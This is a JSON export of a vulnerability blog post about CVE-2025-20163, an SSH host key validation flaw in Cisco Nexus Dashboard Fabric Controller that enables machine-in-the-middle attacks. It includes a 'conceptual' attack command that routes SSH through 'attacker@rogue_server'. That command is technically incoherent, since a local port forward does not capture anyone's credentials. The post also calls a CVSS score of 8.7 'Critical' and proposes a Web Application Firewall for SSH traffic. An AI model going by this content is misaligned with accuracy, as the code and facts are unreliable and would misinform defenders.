{"id":50948,"date":"2025-06-10T23:20:43","date_gmt":"2025-06-10T23:20:43","guid":{"rendered":""},"modified":"2025-09-07T17:19:46","modified_gmt":"2025-09-07T23:19:46","slug":"cve-2025-20163-critical-ssh-vulnerability-in-cisco-nexus-dashboard-fabric-controller","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-20163-critical-ssh-vulnerability-in-cisco-nexus-dashboard-fabric-controller\/","title":{"rendered":"<strong>CVE-2025-20163: Critical SSH Vulnerability in Cisco Nexus Dashboard Fabric Controller<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>In the evolving realm of cybersecurity, one vulnerability can bring about significant security challenges. Today, we delve into a critical vulnerability, CVE-2025-20163, affecting the SSH implementation of Cisco Nexus Dashboard Fabric Controller (NDFC). This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-36049-xml-external-entity-injection-vulnerability-in-ibm-webmethods-integration-server\/\"  data-wpil-monitor-id=\"63447\">vulnerability has far-reaching implications on the integrity<\/a> and confidentiality of data, posing considerable risks to all users of the affected systems.<br \/>\nAs the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-57783-xss-vulnerability-in-dot-desktop-application-allows-command-execution\/\"  data-wpil-monitor-id=\"57448\">vulnerability potentially allows<\/a> for system compromise or data leakage, it is crucial to understand its implications, particularly for organizations that heavily rely on Cisco NDFC-managed devices. Given the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5484-widespread-vulnerability-in-sinotrack-device-management-interface\/\"  data-wpil-monitor-id=\"62087\">widespread usage of these devices<\/a>, the vulnerability serves as a stark reminder of the constant need for security vigilance and timely patching.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-20163<br \/>\nSeverity: Critical (8.7 CVSS Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-45565-memory-corruption-vulnerability-leading-to-potential-system-compromise-or-data-leakage\/\"  data-wpil-monitor-id=\"58057\">Potential system compromise or data<\/a> leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1649047285\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Cisco Nexus Dashboard Fabric Controller | All <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48481-critical-vulnerability-in-freescout-prior-to-version-1-8-180\/\"  data-wpil-monitor-id=\"57199\">versions prior<\/a> to latest patch<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The vulnerability primarily stems from insufficient <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2025-20261-critical-vulnerability-in-cisco-imc-ssh-connection-handling\/\"  data-wpil-monitor-id=\"59125\">SSH<\/a> host key validation in the implementation of Cisco NDFC. This insufficiency provides an opportunity for an attacker to perform a machine-in-the-middle attack on SSH <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48000-critical-privilege-escalation-vulnerability-in-windows-connected-devices-platform-service\/\"  data-wpil-monitor-id=\"80267\">connections to Cisco NDFC-managed devices<\/a>.<br \/>\nIn essence, the attacker intercepts the SSH traffic between the client and server, and due to the lack of proper <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-29630-critical-ssh-key-vulnerability-in-gardyn-4\/\"  data-wpil-monitor-id=\"69841\">SSH host key<\/a> validation, the attacker can successfully impersonate the managed device. This scenario allows the attacker to capture user credentials, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2021-47668-linux-kernel-vulnerability-leading-to-potential-system-compromise-or-data-leakage\/\"  data-wpil-monitor-id=\"57539\">potentially leading to system compromise or data<\/a> leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3686937087\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Given the nature of the vulnerability, an exact example code is not feasible. However, conceptually, an <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5353-local-authenticated-attacker-exploit-in-ivanti-workspace-control\/\"  data-wpil-monitor-id=\"62088\">attacker might exploit<\/a> the vulnerability as follows:<\/p>\n<pre><code class=\"\" data-line=\"\"># Attacker sets up a rogue SSH server to intercept SSH traffic\nssh -i rogue_key -L localhost:22:target_device_IP:22 attacker@rogue_server\n# Unsuspecting user connects via SSH\nssh user@localhost\n# Attacker captures credentials and impersonates the device<\/code><\/pre>\n<p>This is, of course, a simplified conceptual example. The actual exploit would involve more complex steps and rely on the specific network <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-1907-critical-vulnerability-in-instantel-micromate-configuration-port\/\"  data-wpil-monitor-id=\"57224\">configurations and vulnerabilities<\/a>.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>The best mitigation against this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49002-critical-vulnerability-in-dataease-bypassing-patch-for-cve-2025-32966\/\"  data-wpil-monitor-id=\"58917\">vulnerability is to apply the vendor&#8217;s patch<\/a>. Cisco has already released a patch that corrects the SSH host key <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-24274-input-validation-issue-exploitable-via-malicious-app-on-macos\/\"  data-wpil-monitor-id=\"59625\">validation issue<\/a> in NDFC. If applying the patch immediately is not feasible, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. These systems can help identify and block suspicious SSH traffic, reducing the risk of a successful exploit.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview In the evolving realm of cybersecurity, one vulnerability can bring about significant security challenges. Today, we delve into a critical vulnerability, CVE-2025-20163, affecting the SSH implementation of Cisco Nexus Dashboard Fabric Controller (NDFC). This vulnerability has far-reaching implications on the integrity and confidentiality of data, posing considerable risks to all users of the affected [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[96],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-50948","post","type-post","status-publish","format-standard","hentry","category-uncategorized","vendor-cisco"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/50948","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=50948"}],"version-history":[{"count":12,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/50948\/revisions"}],"predecessor-version":[{"id":72685,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/50948\/revisions\/72685"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=50948"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=50948"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=50948"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=50948"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=50948"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=50948"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=50948"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=50948"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=50948"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}